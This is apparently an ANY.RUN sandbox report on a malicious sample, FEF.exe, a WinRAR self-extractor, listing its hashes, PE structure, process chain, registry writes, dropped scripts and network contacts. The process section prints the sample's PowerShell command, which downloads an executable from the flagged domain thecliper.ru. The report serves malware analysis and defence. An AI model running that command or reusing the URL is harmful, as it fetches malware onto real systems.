Malware analysis FEF.exe Malicious activity | ANY.RUN

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File name:	FEF.exe
Full analysis:	https://app.any.run/tasks/fb5492fe-daee-4d56-92fa-ead268548013
Verdict:	Malicious activity
Analysis date:	June 19, 2019, 11:21:01
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/x-dosexec
File info:	PE32 executable (GUI) Intel 80386, for MS Windows
MD5:	ED71AE48FB8A5711C1C537DA5434C31C
SHA1:	A09D5E6C0687B70BE6DBBB06EFA43250C86A60E0
SHA256:	F3FFB708C7F3671471599D854EB161FD5838A16AC6C75947700A41E3E464A86B
SSDEEP:	6144:Lfsd47W6Q4PGWMK/bJ7dF3vcThMPkV2zyHy:jsOW6Q4OWz9he32zyHy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - cmd.exe (PID: 1512)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3400)
- Executes scripts
  - FEF.exe (PID: 572)
- Starts CMD.EXE for commands execution
  - WScript.exe (PID: 2488)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win64 Executable (generic) (64.6)
.dll	\|	Win32 Dynamic Link Library (generic) (15.4)
.exe	\|	Win32 Executable (generic) (10.5)
.exe	\|	Generic Win/DOS Executable (4.6)
.exe	\|	DOS Executable Generic (4.6)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2018:06:24 17:04:40+02:00
PEType:	PE32
LinkerVersion:	14
CodeSize:	190464
InitializedDataSize:	86016
UninitializedDataSize:	-
EntryPoint:	0x1d4f9
OSVersion:	5.1
ImageVersion:	-
SubsystemVersion:	5.1
Subsystem:	Windows GUI

Summary

Architecture:	IMAGE_FILE_MACHINE_I386
Subsystem:	IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date:	24-Jun-2018 15:04:40
Detected languages:	English - United States Process Default Language
Debug artifacts:	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

DOS Header

Magic number:	MZ
Bytes on last page of file:	0x0090
Pages in file:	0x0003
Relocations:	0x0000
Size of header:	0x0004
Min extra paragraphs:	0x0000
Max extra paragraphs:	0xFFFF
Initial SS value:	0x0000
Initial SP value:	0x00B8
Checksum:	0x0000
Initial IP value:	0x0000
Initial CS value:	0x0000
Overlay number:	0x0000
OEM identifier:	0x0000
OEM information:	0x0000
Address of NE header:	0x00000108

PE Headers

Signature:	PE
Machine:	IMAGE_FILE_MACHINE_I386
Number of sections:	6
Time date stamp:	24-Jun-2018 15:04:40
Pointer to Symbol Table:	0x00000000
Number of symbols:	0
Size of Optional Header:	0x00E0
Characteristics:	IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name	Virtual Address	Virtual Size	Raw Size	Charateristics	Entropy
.text	0x00001000	0x0002E7E4	0x0002E800	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ	6.70246
.rdata	0x00030000	0x00009A8C	0x00009C00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	5.12921
.data	0x0003A000	0x000203A0	0x00000C00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	3.23928
.gfids	0x0005B000	0x000000E8	0x00000200	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	2.0785
.rsrc	0x0005C000	0x00008478	0x00008600	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	6.21352
.reloc	0x00065000	0x00001FD0	0x00002000	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ	6.68222

Resources

Title	Entropy	Size	Codepage	Language	Type
1	5.25329	1875	Latin 1 / Western European	English - United States	RT_MANIFEST
2	5.1647	4264	Latin 1 / Western European	Process Default Language	RT_ICON
3	4.83975	9640	Latin 1 / Western European	Process Default Language	RT_ICON
7	3.1586	482	Latin 1 / Western European	English - United States	RT_STRING
8	3.11685	460	Latin 1 / Western European	English - United States	RT_STRING
9	3.15447	494	Latin 1 / Western European	English - United States	RT_STRING
10	2.99727	326	Latin 1 / Western European	English - United States	RT_STRING
11	3.2036	1094	Latin 1 / Western European	English - United States	RT_STRING
12	3.12889	358	Latin 1 / Western European	English - United States	RT_STRING
13	2.95673	288	Latin 1 / Western European	English - United States	RT_STRING

Imports


KERNEL32.dll
USER32.dll (delay-loaded)
gdiplus.dll

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

572

"C:\Users\admin\AppData\Local\Temp\FEF.exe"

C:\Users\admin\AppData\Local\Temp\FEF.exe

—

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\users\admin\appdata\local\temp\fef.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

1512

cmd /c ""C:\Users\Public\Downloads\JlyjjwsNVUydSS6bFj2t.cmd" "

C:\Windows\System32\cmd.exe

—

WScript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2488

"C:\Windows\System32\WScript.exe" "C:\Users\Public\Downloads\mGaxnLxVddwBEMgE4r66YmxKdII4op.vbs"

C:\Windows\System32\WScript.exe

—

FEF.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft ® Windows Based Script Host

Exit code:

Version:

5.8.7600.16385

Modules

Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2552

TIMEOUT /T 1 /NOBREAK

C:\Windows\system32\timeout.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

timeout - pauses command processing

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\timeout.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll

3400

powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thecliper.ru/yoj1sd/8f1tpr6ig4ca7s82q8e90icpvhkohxrjzf97bqiyw2du76p6n5pq41zt/1q2feycv0v6tmv79mhcla8wr3/c7ba2dc1ed7e11ee4d4055fc0b60a43933fd7ba8.exe', 'C:\Users\Public\Downloads\c7ba2dc1ed7e11ee4d4055fc0b60a43933fd7ba8.exe')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

330

Read events

255

Write events

Delete events

Modification events


(PID) Process:	(572) FEF.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(572) FEF.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2488) WScript.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2488) WScript.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3400) powershell.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(3400) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(3400) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(3400) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(3400) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(3400) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3400	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\09SG074X1N56K64UNHOR.temp		—
		MD5:—	SHA256:—
572	FEF.exe	C:\Users\Public\Downloads\JlyjjwsNVUydSS6bFj2t.cmd		text
		MD5:—	SHA256:—
572	FEF.exe	C:\Users\Public\Downloads\mGaxnLxVddwBEMgE4r66YmxKdII4op.vbs		text
		MD5:—	SHA256:—
3400	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1210e0.TMP		binary
		MD5:—	SHA256:—
3400	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3400	powershell.exe	81.177.139.111:80	thecliper.ru	JSC RTComm.RU	RU	suspicious

DNS requests

Domain	IP	Reputation
thecliper.ru	81.177.139.111	malicious
dns.msftncsi.com	131.107.255.255	shared

Threats

No threats detected

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No debug info

General Info

FEF.exe

ED71AE48FB8A5711C1C537DA5434C31C

A09D5E6C0687B70BE6DBBB06EFA43250C86A60E0

F3FFB708C7F3671471599D854EB161FD5838A16AC6C75947700A41E3E464A86B

6144:Lfsd47W6Q4PGWMK/bJ7dF3vcThMPkV2zyHy:jsOW6Q4OWz9he32zyHy

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

Executes scripts

Starts CMD.EXE for commands execution

INFO

Malware configuration

Static information

TRiD

EXIF

EXE

Summary

DOS Header

PE Headers

Sections

Resources

Imports

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings